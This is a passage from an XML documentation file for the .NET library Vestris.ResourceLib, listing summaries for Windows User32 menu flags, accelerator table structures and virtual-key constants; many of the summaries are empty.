<summary>\n            Menu item identifier. This is an application-defined value that identifies the menu item. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MENUEXITEMTEMPLATE.bResInfo\">\n            <summary>\n            Value specifying whether the menu item is the last item in the menu bar, drop-down menu, \n            submenu, or shortcut menu and whether it is an item that opens a drop-down menu or submenu.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MenuFlags\">\n            <summary>\n            Specifies one or more of the following predefined menu options that control the \n            appearance of the menu item.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_INSERT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_CHANGE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_APPEND\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_DELETE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_REMOVE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_BYCOMMAND\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_BYPOSITION\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_SEPARATOR\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_ENABLED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_GRAYED\">\n            <summary>\n            Indicates that the menu item is initially inactive and drawn with a gray effect.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_DISABLED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_UNCHECKED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_CHECKED\">\n            <summary>\n            Indicates that the menu item has a check mark next to it.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_USECHECKBITMAPS\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_STRING\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_BITMAP\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_OWNERDRAW\">\n            <summary>\n            Indicates that the owner window of the menu is responsible for drawing all visual \n            aspects of the menu item, including highlighted, selected, and inactive states. \n            This option is not valid for an item in a menu bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_POPUP\">\n            <summary>\n            Indicates that the item is one that opens a drop-down menu or submenu.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_MENUBARBREAK\">\n            <summary>\n            Indicates that the menu item is placed in a new column. The old and new columns \n            are separated by a bar.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_MENUBREAK\">\n            <summary>\n            Indicates that the menu item is placed in a new column.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_UNHILITE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_HILITE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_DEFAULT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_SYSMENU\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_HELP\">\n            <summary>\n            Indicates that the menu item has a vertical separator to its left.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_RIGHTJUSTIFY\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_MOUSESELECT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MF_END\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_STRING\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_BITMAP\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_MENUBARBREAK\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_MENUBREAK\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_OWNERDRAW\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_RADIOCHECK\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_SEPARATOR\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_RIGHTORDER\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFT_RIGHTJUSTIFY\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_GRAYED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_DISABLED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_CHECKED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_HILITE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_ENABLED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_UNCHECKED\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_UNHILITE\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuFlags.MFS_DEFAULT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.MenuResourceType\">\n            <summary>\n            Specifies whether the menu item is the last item in the menu bar, drop-down menu, submenu, or shortcut \n            menu and whether it is an item that opens a drop-down menu or submenu. This member can be zero or more \n            of these values.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuResourceType.Last\">\n            <summary>\n            Defines the last menu item in the menu bar, drop-down menu, submenu, or shortcut menu.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.MenuResourceType.Sub\">\n            <summary>\n            Defines a item that opens a drop-down menu or submenu. Subsequent structures define menu \n            items in the corresponding drop-down menu or submenu.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.ACCEL\">\n            <summary>\n            Defines an accelerator key used in an accelerator table.\n            http://msdn.microsoft.com/en-us/library/ms646340(VS.85).aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ACCEL.fVirt\">\n            <summary>\n            Accelerator flags.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ACCEL.key\">\n            <summary>\n            Accelerator key. This member can be either a virtual-key code or an ASCII character code. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.ACCEL.cmd\">\n            <summary>\n            Accelerator identifier.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.AcceleratorVirtualKey\">\n            <summary>\n            Flags, fVirt field of the Accelerator table structure.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.VIRTKEY\">\n            <summary>\n            Virtual key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.NOINVERT\">\n            <summary>\n            Specifies that no top-level menu item is highlighted when the accelerator is used. \n            This is useful when defining accelerators for actions such as scrolling that do not \n            correspond to a menu item. If NOINVERT is omitted, a top-level menu item will be \n            highlighted (if possible) when the accelerator is used.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.SHIFT\">\n            <summary>\n            Causes the accelerator to be activated only if the SHIFT key is down. \n            Applies only to virtual keys.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.CONTROL\">\n            <summary>\n            Causes the accelerator to be activated only if the CONTROL key is down. \n            Applies only to virtual keys.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.AcceleratorVirtualKey.ALT\">\n            <summary>\n            Causes the accelerator to be activated only if the ALT key is down. \n            Applies only to virtual keys.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.User32.VirtualKeys\">\n            <summary>\n            Virtual key definitions.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LBUTTON\">\n            <summary>\n            Standard virtual left mouse button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RBUTTON\">\n            <summary>\n            Standard virtual right mouse button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CANCEL\">\n            <summary>\n            Ctrl-Break / Ctrl-C.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MBUTTON\">\n            <summary>\n            Standard virtual middle mouse button.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_XBUTTON1\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_XBUTTON2\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BACK\">\n            <summary>\n            Backspace.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_TAB\">\n            <summary>\n            Tab.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CLEAR\">\n            <summary>\n            Delete.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RETURN\">\n            <summary>\n            Return.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SHIFT\">\n            <summary>\n            Shift.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CONTROL\">\n            <summary>\n            Control.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MENU\">\n            <summary>\n            Menu.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PAUSE\">\n            <summary>\n            Pause.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CAPITAL\">\n            <summary>\n            Caps lock.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_KANA\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_JUNJA\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_FINAL\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_KANJI\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ESCAPE\">\n            <summary>\n            Escape.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_CONVERT\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NONCONVERT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ACCEPT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MODECHANGE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SPACE\">\n            <summary>\n            Space.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PRIOR\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NEXT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_END\">\n            <summary>\n            End.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_HOME\">\n            <summary>\n            Home.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LEFT\">\n            <summary>\n            Left arrow.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_UP\">\n            <summary>\n            Up arrow.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RIGHT\">\n            <summary>\n            Right arrow.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_DOWN\">\n            <summary>\n            Down arrow.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SELECT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PRINT\">\n            <summary>\n            Print Screen.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_EXECUTE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SNAPSHOT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_INSERT\">\n            <summary>\n            Insert.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_DELETE\">\n            <summary>\n            Delete.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_HELP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LWIN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RWIN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_APPS\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SLEEP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD0\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD2\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD3\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD4\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD5\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD6\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD7\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD8\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMPAD9\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MULTIPLY\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ADD\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SEPARATOR\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SUBTRACT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_DECIMAL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_DIVIDE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F2\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F3\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F4\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F5\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F6\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F7\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F8\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F9\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F10\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F11\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F12\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F13\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F14\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F15\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F16\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F17\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F18\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F19\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F20\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F21\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F22\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F23\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_F24\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_NUMLOCK\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_SCROLL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_NEC_EQUAL\">\n            <summary>\n            NEC PC-9800 keyboard '=' key on numpad.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_JISHO\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Dictionary' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_MASSHOU\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Unregister word' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_TOUROKU\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Register word' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_LOYA\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Left OYAYUBI' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_FJ_ROYA\">\n            <summary>\n            Fujitsu/OASYS keyboard 'Right OYAYUBI' key.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LSHIFT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RSHIFT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LCONTROL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RCONTROL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LMENU\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_RMENU\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_BACK\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_FORWARD\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_REFRESH\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_STOP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_SEARCH\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_FAVORITES\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_BROWSER_HOME\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_VOLUME_MUTE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_VOLUME_DOWN\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_VOLUME_UP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MEDIA_NEXT_TRACK\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MEDIA_PREV_TRACK\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MEDIA_STOP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_MEDIA_PLAY_PAUSE\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LAUNCH_MAIL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LAUNCH_MEDIA_SELECT\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LAUNCH_APP1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_LAUNCH_APP2\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_1\">\n            <summary>\n            ';:' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PLUS\">\n            <summary>\n            '+' any country\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_COMMA\">\n            <summary>\n            ',' any country\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_MINUS\">\n            <summary>\n            '-' any country\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PERIOD\">\n            <summary>\n            '.' any country\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_2\">\n            <summary>\n            '/?' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_3\">\n            <summary>\n            '`~' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_4\">\n            <summary>\n            '[{' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_5\">\n            <summary>\n            '\\|' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_6\">\n            <summary>\n            ']}' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_7\">\n            <summary>\n            ''\"' for US\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_8\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_AX\">\n            <summary>\n            'AX' key on Japanese AX kbd\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_102\">\n            <summary>\n            \"&lt;&gt;\" or \"\\|\" on RT 102-key kbd.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ICO_HELP\">\n            <summary>\n            Help key on ICO\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ICO_00\">\n            <summary>\n            00 key on ICO\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PROCESSKEY\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_ICO_CLEAR\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_PACKET\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_RESET\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_JUMP\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PA1\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PA2\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_PA3\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_WSCTRL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.User32.VirtualKeys.VK_OEM_CUSEL\">\n             <summary>\n            \n             </summary>\n        </member>\n        <member 